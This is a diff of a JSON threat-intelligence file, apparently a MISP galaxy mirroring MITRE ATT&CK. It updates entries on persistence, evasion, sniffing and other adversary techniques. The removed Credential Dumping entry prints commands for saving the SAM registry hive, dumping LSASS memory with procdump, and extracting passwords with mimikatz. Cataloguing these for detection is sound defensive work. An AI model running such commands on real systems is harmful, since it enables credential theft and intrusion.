"Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1547/009", + "https://capec.mitre.org/data/definitions/132.html" + ] + }, + "related": [ + { + "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "type": "subtechnique-of" + } + ], + "uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", + "value": "Shortcut Modification - T1547.009" + }, + { + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Endgame Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Access Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.", + "meta": { + "external_id": "T1546.011", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "Windows Registry" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1546/011", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf", + "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf" + ] + }, + "related": [ + { + "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", + "type": "subtechnique-of" + } + ], + "uuid": "42fe883a-21ea-4cfb-b94a-78b6476dcc83", + "value": "Application Shimming - T1546.011" + }, + { + "description": "Adversaries may modify plist files to run a program during system boot or user login. Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \n\nAdversaries can modify plist files to execute their code as part of establishing persistence. plists may also be used to elevate privileges since they may execute in the context of another user.(Citation: Sofacy Komplex Trojan) \n\nA specific plist used for execution at login is com.apple.loginitems.plist.(Citation: Methods of Mac Malware Persistence) Applications under this plist run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them.(Citation: Adding Login Items) Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to \"hide\" the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1059/002) can do this as well. (Citation: Adding Login Items)", + "meta": { + "external_id": "T1547.011", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1547/011", + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html", + "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf", + "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" + ] + }, + "related": [ + { + "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "type": "subtechnique-of" + } + ], + "uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a", + "value": "Plist Modification - T1547.011" + }, + { + "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)", + "meta": { + "external_id": "T1546.013", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "PowerShell logs", + "File monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1546/013", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6", + "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", + "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html", + "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf" + ] + }, + "related": [ + { + "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", + "type": "subtechnique-of" + } + ], + "uuid": "0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", + "value": "PowerShell Profile - T1546.013" + }, { "description": "Personnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator. (Citation: RSA-APTRecon)", "meta": { @@ -8178,6 +16248,35 @@ "uuid": "b14f6692-b613-44bb-9f30-8381a5ff10d5", "value": "Proxy/protocol relays - T1304" }, + { + "description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).", + "meta": { + "external_id": "CAPEC-557", + "kill_chain": [ + "mitre-attack:execution", + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1053", + "https://capec.mitre.org/data/definitions/557.html", + "https://technet.microsoft.com/en-us/library/cc785125.aspx" + ] + }, + "uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "value": "Scheduled Task/Job - T1053" + }, { "description": "Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management's intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)", "meta": { @@ -8193,7 +16292,7 @@ "value": "Develop KITs/KIQs - T1227" }, { - "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)", + "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)", "meta": { "external_id": "T1529", "kill_chain": [ @@ -8220,7 +16319,7 @@ "value": "System Shutdown/Reboot - T1529" }, { - "description": "Adversaries may check for the presence of a virtual machine environment (VME) or sandbox to avoid potential detection of tools and activities. If the adversary detects a VME, they may alter their malware to conceal the core functions of the implant or disengage from the victim. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information from learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.\n\nAdversaries may use several methods including [Security Software Discovery](https://attack.mitre.org/techniques/T1063) to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) by searching for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) to help determine if it is an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandboxes. (Citation: Unit 42 Pirpi July 2015)\n\n###Virtual Machine Environment Artifacts Discovery###\n\nAdversaries may use utilities such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1086), [Systeminfo](https://attack.mitre.org/software/S0096), and the [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, and/or the Registry. Adversaries may use [Scripting](https://attack.mitre.org/techniques/T1064) to combine these checks into one script and then have the program exit if it determines the system to be a virtual environment. Also, in applications like VMWare, adversaries can use a special I/O port to send commands and receive output. Adversaries may also check the drive size. For example, this can be done using the Win32 DeviceIOControl function. \n\nExample VME Artifacts in the Registry(Citation: McAfee Virtual Jan 2017)\n\n* HKLM\\SOFTWARE\\Oracle\\VirtualBox Guest Additions\n* HKLM\\HARDWARE\\Description\\System\\”SystemBiosVersion”;”VMWARE”\n* HKLM\\HARDWARE\\ACPI\\DSDT\\BOX_\n\nExample VME files and DLLs on the system(Citation: McAfee Virtual Jan 2017)\n\n* WINDOWS\\system32\\drivers\\vmmouse.sys \n* WINDOWS\\system32\\vboxhook.dll\n* Windows\\system32\\vboxdisp.dll\n\nCommon checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017)\n\n###User Activity Discovery###\n\nAdversaries may search for user activity on the host (e.g., browser history, cache, bookmarks, number of files in the home directories, etc.) for reassurance of an authentic environment. They might detect this type of information via user interaction and digital signatures. They may have malware check the speed and frequency of mouse clicks to determine if it’s a sandboxed environment.(Citation: Sans Virtual Jan 2016) Other methods may rely on specific user interaction with the system before the malicious code is activated. Examples include waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) and waiting for a user to double click on an embedded image to activate (Citation: FireEye FIN7 April 2017).\n\n###Virtual Hardware Fingerprinting Discovery###\n\nAdversaries may check the fan and temperature of the system to gather evidence that can be indicative a virtual environment. An adversary may perform a CPU check using a WMI query $q = “Select * from Win32_Fan” Get-WmiObject -Query $q. If the results of the WMI query return more than zero elements, this might tell them that the machine is a physical one. (Citation: Unit 42 OilRig Sept 2018)", + "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. \n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n", "meta": { "external_id": "T1497", "kill_chain": [ @@ -8233,23 +16332,19 @@ ], "mitre_platforms": [ "Windows", - "macOS" + "macOS", + "Linux" ], "refs": [ "https://attack.mitre.org/techniques/T1497", - "https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/", - "https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667", - "https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/", - "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", - "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + "https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/" ] }, "uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", "value": "Virtualization/Sandbox Evasion - T1497" }, { - "description": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.", + "description": "Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ", "meta": { "external_id": "T1001", "kill_chain": [ @@ -8278,22 +16373,6 @@ "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.", "meta": { "external_id": "CAPEC-650", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "Anti-virus", - "Authentication logs", - "File monitoring", - "Netflow/Enclave netflow", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1100", "https://capec.mitre.org/data/definitions/650.html", @@ -8301,11 +16380,20 @@ "https://www.us-cert.gov/ncas/alerts/TA15-314A" ] }, + "related": [ + { + "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", "value": "Web Shell - T1100" }, { - "description": "Data, such as sensitive documents, may be exfiltrated through the use of automated processing or [Scripting](https://attack.mitre.org/techniques/T1064) after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).", + "description": "Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).", "meta": { "external_id": "T1020", "kill_chain": [ @@ -8360,74 +16448,25 @@ "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.", "meta": { "external_id": "T1002", - "kill_chain": [ - "mitre-attack:exfiltration" - ], - "mitre_data_sources": [ - "Binary file metadata", - "File monitoring", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1002", "https://en.wikipedia.org/wiki/List_of_file_signatures" ] }, + "related": [ + { + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", "value": "Data Compressed - T1002" }, { - "description": "Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.\n\nSeveral of the tools mentioned in this technique may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n\n### Windows\n\n#### SAM (Security Accounts Manager)\n\nThe SAM is a database file that contains local accounts for the host, typically those found with the ‘net user’ command. To enumerate the SAM database, system level access is required.\n \nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with [Reg](https://attack.mitre.org/software/S0075):\n\n* reg save HKLM\\sam sam\n* reg save HKLM\\system system\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes. (Citation: GitHub Creddump7)\n\nNotes:\nRid 500 account is the local, in-built administrator.\nRid 501 is the guest account.\nUser accounts start with a RID of 1,000+.\n\n#### Cached Credentials\n\nThe DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable. The number of default cached credentials varies, and this number can be altered per system. This hash does not allow pass-the-hash style attacks.\n \nA number of tools can be used to retrieve the SAM file through in-memory techniques.\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n\nAlternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nCached credentials for Windows Vista are derived using PBKDF2.\n\n#### Local Security Authority (LSA) Secrets\n\nWith SYSTEM access to a host, the LSA secrets often allows trivial access from a local account to domain-based account credentials. The Registry is used to store the LSA secrets.\n \nWhen services are run under the context of local or domain users, their passwords are stored in the Registry. If auto-logon is enabled, this information will be stored in the Registry as well.\n \nA number of tools can be used to retrieve the SAM file through in-memory techniques.\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nThe passwords extracted by his mechanism are UTF-16 encoded, which means that they are returned in plaintext.\nWindows 10 adds protections for LSA Secrets described in Mitigation.\n\n#### NTDS from Domain Controller\n\nActive Directory stores information about members of the domain including devices and users to verify credentials and define access rights. The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller. (Citation: Wikipedia Active Directory)\n \nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n\n#### Group Policy Preference (GPP) Files\n\nGroup Policy Preferences (GPP) are tools that allowed administrators to create domain policies with embedded credentials. These policies, amongst other things, allow administrators to set local accounts.\n\nThese group policies are stored in SYSVOL on a domain controller, this means that any domain user can view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft GPP Key) (Citation: SRD GPP)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit’s post exploitation module: \"post/windows/gather/credentials/gpp\"\n* Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nNotes:\nOn the SYSVOL share, the following can be used to enumerate potential XML files.\ndir /s * .xml\n\n#### Service Principal Names (SPNs)\n\nSee [Kerberoasting](https://attack.mitre.org/techniques/T1208).\n\n#### Plaintext Credentials\n\nAfter a user logs on to a system, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service (LSASS) process in memory. These credentials can be harvested by a administrative user or SYSTEM.\n\nSSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs): A Security Support Provider is a dynamic-link library (DLL) that makes one or more security packages available to applications.\n\nThe following SSPs can be used to access credentials:\n\nMsv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\nWdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential Protection)\nKerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\nCredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services. (Citation: Microsoft CredSSP)\n \nThe following tools can be used to enumerate credentials:\n\n* [Windows Credential Editor](https://attack.mitre.org/software/S0005)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be run:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\n#### DCSync\n\nDCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1097) (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098). (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)\n\n### Linux\n\n#### Proc filesystem\n\nThe /proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively. This functionality has been implemented in the [MimiPenguin](https://attack.mitre.org/software/S0179), an open source tool inspired by [Mimikatz](https://attack.mitre.org/software/S0002). The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.", - "meta": { - "external_id": "T1003", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "PowerShell logs", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows", - "Linux", - "macOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1003", - "https://github.com/Neohapsis/creddump7", - "https://en.wikipedia.org/wiki/Active_Directory", - "https://msdn.microsoft.com/library/cc422924.aspx", - "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx", - "https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html", - "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-vista/cc749211(v=ws.10)", - "https://msdn.microsoft.com/library/cc228086.aspx", - "https://msdn.microsoft.com/library/dd207691.aspx", - "https://wiki.samba.org/index.php/DRSUAPI", - "https://source.winehq.org/WineAPI/samlib.html", - "https://adsecurity.org/?p=1729", - "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/", - "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM", - "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump", - "https://msdn.microsoft.com/library/cc237008.aspx", - "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea", - "https://github.com/mattifestation/PowerSploit", - "https://msdn.microsoft.com/library/cc245496.aspx" - ] - }, - "uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", - "value": "Credential Dumping - T1003" - }, - { - "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and Relay](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities.", + "description": "Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.", "meta": { "external_id": "CAPEC-158", "kill_chain": [ @@ -8457,19 +16496,6 @@ "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).", "meta": { "external_id": "CAPEC-550", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "Windows Registry", - "Process monitoring", - "Process command-line parameters", - "Windows event logs" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1050", "https://capec.mitre.org/data/definitions/550.html", @@ -8479,6 +16505,15 @@ "https://technet.microsoft.com/en-us/sysinternals/bb963902" ] }, + "related": [ + { + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "478aa214-2ca7-4ec0-9978-18798e514790", "value": "New Service - T1050" }, @@ -8513,19 +16548,6 